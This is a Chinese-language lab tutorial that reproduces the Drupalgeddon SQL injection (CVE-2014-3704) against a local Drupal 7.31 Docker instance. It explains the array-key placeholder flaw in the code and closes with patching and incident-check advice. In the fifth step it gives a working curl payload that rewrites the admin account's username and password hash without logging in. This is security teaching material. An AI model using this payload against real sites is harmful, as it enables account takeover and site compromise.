CVE-2014-3704 Drupalgeddon 从零到一复现教程:环境搭建、代码分析与手动利用
面向完全新手的 CVE-2014-3704 Drupalgeddon 本地靶场复现教程,包含 Docker 环境搭建、Drupal 7.31 安装、漏洞代码级分析、curl 手动复现、数据库验证和修复建议。
免责声明:本文仅用于本地靶场学习、CTF 训练和授权安全研究。请勿对未授权的网站或系统进行测试。文中的所有命令默认只针对
127.0.0.1本地环境。
目录
- 漏洞简介
- 实验目标
- 前置知识
- 实验环境
- 第一步:准备 Docker 靶场
- 第二步:安装 Drupal 7.31
- 第三步:理解漏洞触发链路
- 第四步:代码级分析漏洞原因
- 第五步:手动构造 payload 复现
- 第六步:验证是否复现成功
- 第七步:从干净环境重新复现
- 常见问题排查
- 修复建议
- 总结
漏洞简介
CVE-2014-3704 是 Drupal 7 中一个非常经典的 SQL 注入漏洞,也常被称为 Drupalgeddon。
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2014-3704 |
| 常见名称 | Drupalgeddon |
| 漏洞类型 | SQL 注入 |
| 影响对象 | Drupal 7.x |
| 典型影响版本 | Drupal 7.0 到 7.31 |
| 修复版本 | Drupal 7.32 及之后版本 |
| 攻击条件 | 通常不需要登录 |
| 主要危害 | 读取、修改数据库,进一步接管站点 |
一句话解释这个漏洞:
Drupal 7.31 在处理 SQL 占位符数组参数时,没有正确过滤用户可控的数组 key,导致攻击者可以把 SQL 片段塞进参数名里,最终实现 SQL 注入。
本文会从零开始搭建本地 Drupal 7.31 靶场,然后通过代码分析和手动 curl 请求完成复现。
实验目标
完成本文后,你应该能理解并做到:
- 使用 Docker 启动一个 Drupal 7.31 本地靶场。
- 完成 Drupal 的基础安装。
- 找到 CVE-2014-3704 的核心漏洞代码。
- 理解为什么数组参数会导致 SQL 注入。
- 不依赖现成漏洞利用脚本,手动用 curl 构造 payload。
- 通过数据库和网页登录验证漏洞是否成功。
- 理解如何修复和防护该漏洞。
前置知识
1. 什么是 SQL 注入?
SQL 注入就是攻击者把自己构造的 SQL 语句混入应用原本的 SQL 查询中,让数据库执行了开发者没有预期的语句。
例如开发者原本只想查询用户:
1
SELECT * FROM users WHERE name = 'admin';
如果用户输入没有被正确处理,攻击者可能让 SQL 变成:
1
SELECT * FROM users WHERE name = 'admin'; UPDATE users SET name = 'hacker' WHERE uid = 1;
这样数据库就不仅查询了用户,还执行了修改操作。
2. 什么是 Drupal?
Drupal 是一个 PHP 编写的内容管理系统,类似 WordPress。很多网站曾经使用 Drupal 来搭建门户、博客、企业官网等。
3. 什么是占位符?
为了防止 SQL 注入,程序通常不会直接拼接用户输入,而是使用占位符。
例如:
1
2
3
4
$db->query(
"SELECT * FROM users WHERE name = :name",
array(':name' => 'admin')
);
这里的 :name 就是占位符。正常情况下,数据库驱动会把 'admin' 当作普通数据,而不是 SQL 代码。
CVE-2014-3704 的问题在于:
Drupal 本身支持数组参数展开,但数组 key 被攻击者控制后,污染了 SQL 占位符名称。
实验环境
本文使用本地 Docker 靶场。
| 组件 | 版本或说明 |
|---|---|
| 操作系统 | Linux |
| Web 应用 | Drupal 7.31 |
| PHP | 由 Docker 镜像提供 |
| 数据库 | MySQL 5.7 |
| Web 端口 | 127.0.0.1:8080 |
| 靶场范围 | 仅限本机 |
工作目录示例:
1
2
mkdir -p ~/CTF/CVE/CVE-2014-3704
cd ~/CTF/CVE/CVE-2014-3704
第一步:准备 Docker 靶场
1. 编写 docker-compose.yml
在实验目录中新建 docker-compose.yml:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
services:
web:
image: vulhub/drupal:7.31
container_name: cve-2014-3704-drupal
depends_on:
- db
ports:
- "8080:80"
restart: unless-stopped
db:
image: mysql:5.7
container_name: cve-2014-3704-mysql
environment:
MYSQL_ROOT_PASSWORD: rootpass
MYSQL_DATABASE: drupal
MYSQL_USER: drupal
MYSQL_PASSWORD: drupal
command: --character-set-server=utf8 --collation-server=utf8_general_ci
restart: unless-stopped
这里启动了两个容器:
| 容器 | 作用 |
|---|---|
cve-2014-3704-drupal | Drupal Web 服务 |
cve-2014-3704-mysql | MySQL 数据库 |
数据库连接信息是:
| 项目 | 值 |
|---|---|
| 数据库主机 | db |
| 数据库名 | drupal |
| 数据库用户 | drupal |
| 数据库密码 | drupal |
2. 启动 Docker
如果 Docker 服务没有启动,先执行:
1
sudo systemctl start docker
然后启动靶场:
1
docker-compose up -d
查看容器状态:
1
docker ps
如果看到 Drupal 和 MySQL 两个容器都处于 Up 状态,说明环境启动成功。
访问:
1
http://127.0.0.1:8080
如果看到 Drupal 安装页面,就可以继续下一步。
第二步:安装 Drupal 7.31
你可以在浏览器中手动安装,也可以用脚本自动安装。为了新手更容易复现,下面先介绍浏览器方式。
1. 选择安装类型
打开:
1
http://127.0.0.1:8080/install.php
选择:
1
Minimal
也可以选择 Standard,但 Minimal 更简单,安装过程更快。
2. 选择语言
选择:
1
English
3. 配置数据库
填写 MySQL 信息:
| 页面字段 | 填写内容 |
|---|---|
| Database type | MySQL |
| Database name | drupal |
| Database username | drupal |
| Database password | drupal |
| Database host | db |
注意:数据库主机不是 127.0.0.1,而是 Docker Compose 中的服务名 db。
4. 配置管理员
可以设置为:
| 项目 | 值 |
|---|---|
| Site name | CVE-2014-3704 Lab |
| Site email | admin@example.local |
| Username | admin |
| admin@example.local | |
| Password | admin123 |
安装完成后,可以访问:
1
http://127.0.0.1:8080/?q=user/login
使用:
1
admin / admin123
登录确认站点正常。
第三步:理解漏洞触发链路
CVE-2014-3704 的触发链路可以概括为:
1
2
3
4
5
6
7
8
9
10
11
攻击者提交特殊 POST 参数
↓
PHP 把 name[...] 解析成数组
↓
Drupal 登录逻辑把数组传给数据库查询
↓
Drupal 数据库层自动展开数组占位符
↓
数组 key 被拼进 SQL 语句
↓
SQL 注入成功
关键点是这个请求参数:
1
name[恶意 SQL 片段]=x
在 PHP 中,类似这样的参数:
1
name[0]=admin
会被解析为:
1
2
3
4
5
array(
'name' => array(
0 => 'admin'
)
)
如果我们把数组 key 改成 SQL 片段,例如:
1
name[0 ;update users set name='manual' where uid=1;# ]=x
PHP 解析后,name 就变成了一个数组,数组 key 中包含攻击者控制的 SQL。
第四步:代码级分析漏洞原因
进入 Drupal 容器:
1
docker exec -it cve-2014-3704-drupal bash
1. 查看登录校验代码
执行:
1
nl -ba /var/www/html/modules/user/user.module | sed -n '2137,2152p'
核心代码如下:
1
2
3
4
5
6
7
8
9
function user_login_authenticate_validate($form, &$form_state) {
$password = trim($form_state['values']['pass']);
if (!empty($form_state['values']['name']) && !empty($password)) {
$account = db_query(
"SELECT * FROM {users} WHERE name = :name AND status = 1",
array(':name' => $form_state['values']['name'])
)->fetchObject();
}
}
这里有两个关键点:
- SQL 中使用了
:name占位符。 :name对应的值来自$form_state['values']['name']。
正常情况下,name 是字符串:
1
$form_state['values']['name'] = 'admin';
但如果攻击者提交 name[...],它会变成数组:
1
2
3
$form_state['values']['name'] = array(
"0 ;update users set name='manual' where uid=1;# " => "x"
);
于是数据库层会进入数组参数展开逻辑。
2. 查看数据库层 expandArguments 函数
执行:
1
nl -ba /var/www/html/includes/database/database.inc | sed -n '732,759p'
核心代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value;
}
$query = preg_replace(
'#' . $key . '\b#',
implode(', ', array_keys($new_keys)),
$query
);
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
重点看这一行:
1
$new_keys[$key . '_' . $i] = $value;
其中:
| 变量 | 来源 | 是否可控 |
|---|---|---|
$key | 占位符名,例如 :name | 基本固定 |
$i | 数组 key | 攻击者可控 |
$value | 数组 value | 攻击者可控 |
正常情况下,如果参数是:
1
array(':uids' => array(1, 2, 3))
Drupal 会把它展开成:
1
:uids_0, :uids_1, :uids_2
这是正常功能。
但如果数组 key 是:
1
0 ;update users set name='manual', pass='HASH' where uid=1;#
展开后的 placeholder 名就变成:
1
:name_0 ;update users set name='manual', pass='HASH' where uid=1;#
然后它会被替换回 SQL 中。
3. SQL 被污染后的样子
原始 SQL:
1
SELECT * FROM users WHERE name = :name AND status = 1
被展开后,可能变成:
1
2
3
SELECT * FROM users WHERE name = :name_0 ;
update users set name='manual', pass='HASH' where uid=1;
# AND status = 1
解释一下:
| 符号 | 作用 |
|---|---|
; | 结束上一条 SQL,开始下一条 SQL |
update users set ... | 修改管理员账号 |
# | 注释后面的 SQL |
所以真正造成影响的是这句:
1
update users set name='manual', pass='HASH' where uid=1;
Drupal 中 uid=1 通常是站点管理员。
第五步:手动构造 payload 复现
这一部分不用现成利用脚本,只用 curl 手动发送请求。
我们的目标是把管理员改成:
1
manual / manual123
1. 生成 Drupal 密码哈希
Drupal 的用户密码不是明文存储的,所以需要先生成 manual123 对应的 Drupal hash。
执行:
1
docker exec cve-2014-3704-drupal php /var/www/html/scripts/password-hash.sh manual123
输出类似:
1
password: manual123 hash: $S$DCLIifqm/JcWhE2lwqi5WeP5ckSW8.s9.4pqdT24jG0VFmc3Y0Mq
把 hash 保存为变量:
1
HASH='$S$DCLIifqm/JcWhE2lwqi5WeP5ckSW8.s9.4pqdT24jG0VFmc3Y0Mq'
如果你生成的 hash 和本文不同,也没关系,使用你自己命令输出的 hash 即可。
2. 发送手动 payload
执行:
1
2
3
4
5
6
7
curl -i -sS 'http://127.0.0.1:8080/?q=node&destination=node' \
--data-urlencode "name[0 ;update users set name='manual', pass='$HASH' where uid=1;# ]=x" \
--data-urlencode 'name[0]=x' \
--data-urlencode 'pass=x' \
--data-urlencode 'form_build_id=' \
--data-urlencode 'form_id=user_login_block' \
--data-urlencode 'op=Log in'
重点是这一段:
1
name[0 ;update users set name='manual', pass='$HASH' where uid=1;# ]=x
它会让 PHP 把 name 解析成数组,并把恶意 SQL 放进数组 key。
3. 为什么还要传 name[0]
命令中还有一行:
1
--data-urlencode 'name[0]=x'
它的作用是让 name 更稳定地保持数组结构,辅助触发 Drupal 的数组参数展开逻辑。
4. 为什么 pass 可以随便填
命令中:
1
--data-urlencode 'pass=x'
这里的密码并不是为了登录成功,而是为了让登录校验逻辑继续往下走,触发包含 db_query 的代码路径。
第六步:验证是否复现成功
方法一:数据库验证
执行:
1
docker exec cve-2014-3704-mysql mysql -udrupal -pdrupal -e "use drupal; select uid,name,mail,status,substring(pass,1,20) as pass_prefix from users;"
如果成功,你会看到类似:
1
2
3
uid name mail status pass_prefix
0 0
1 manual admin@example.local 1 $S$DCLIifqm/JcWhE2
只要 uid=1 的 name 变成 manual,说明 SQL 注入已经成功写入数据库。
方法二:网页登录验证
打开:
1
http://127.0.0.1:8080/?q=user/login
使用:
1
2
用户名:manual
密码:manual123
如果能登录到用户页面,说明复现成功。
第七步:从干净环境重新复现
如果你想完整地重新做一遍,可以清空容器和数据库卷:
1
docker-compose down --remove-orphans -v
重新启动:
1
docker-compose up -d
然后重新安装 Drupal,再执行手动 payload。
如果你写了自动安装脚本,也可以重新安装后直接复现:
1
python3 install_drupal_minimal.py
常见问题排查
1. 访问 127.0.0.1:8080 没反应
先检查容器是否启动:
1
docker ps
如果没有容器,执行:
1
docker-compose up -d
如果 Docker 服务没启动:
1
sudo systemctl start docker
2. Drupal 安装时数据库连接失败
检查数据库配置:
| 字段 | 正确值 |
|---|---|
| Database name | drupal |
| Username | drupal |
| Password | drupal |
| Host | db |
注意 Host 是 db,不是 localhost。
3. payload 执行后没有变化
可以检查:
- Drupal 是否确实是 7.31。
- 是否已经升级或打补丁。
- curl 请求是否真的发到了
127.0.0.1:8080。 HASH变量是否正确设置。- payload 中的引号是否被 shell 提前破坏。
建议先打印变量:
1
echo "$HASH"
确认它以 $S$ 开头。
4. 登录失败但数据库已经变了
如果数据库里 uid=1 的用户名已经是 manual,但网页登录失败,通常是密码 hash 不正确。
重新生成 hash:
1
docker exec cve-2014-3704-drupal php /var/www/html/scripts/password-hash.sh manual123
然后重新执行 payload。
修复建议
1. 升级 Drupal
最直接的修复方式是升级到 Drupal 7.32 或更高版本。
2. 不要暴露旧版本 Drupal
如果业务已经不再维护 Drupal 7,建议:
- 下线旧系统。
- 升级到受支持版本。
- 使用 WAF 只能作为临时缓解,不能替代补丁。
3. 检查是否已经被入侵
这个漏洞可以未授权修改数据库,所以修复后还要检查:
- 管理员账号是否异常。
- 是否存在陌生用户。
- 是否存在异常模块。
- 是否存在 WebShell。
- 数据库中是否有异常内容。
- Web 访问日志中是否存在可疑 POST 请求。
4. 最小权限原则
数据库账号不应拥有过高权限。虽然这个漏洞本身发生在应用查询层,但降低数据库权限可以减少攻击后的影响范围。
总结
CVE-2014-3704 的核心不是普通的字符串拼接 SQL 注入,而是一个比较特殊的 数组参数展开导致的 SQL 注入。
完整漏洞链路如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
name[...] 参数
↓
PHP 解析成数组
↓
Drupal 登录逻辑传入 db_query
↓
expandArguments 展开数组参数
↓
数组 key 拼进 SQL 占位符
↓
执行 update users set ...
↓
管理员账号被修改
最关键的漏洞代码是:
1
$new_keys[$key . '_' . $i] = $value;
其中 $i 来自用户可控的数组 key,却没有经过严格校验。
通过本文,你应该已经完成了:
- 本地 Drupal 7.31 靶场搭建。
- Drupal 安装。
- 漏洞代码定位。
- payload 原理理解。
- curl 手动复现。
- 数据库和网页登录验证。
再次强调:本文所有步骤仅限本地靶场和授权测试环境。不要对任何未授权目标进行测试。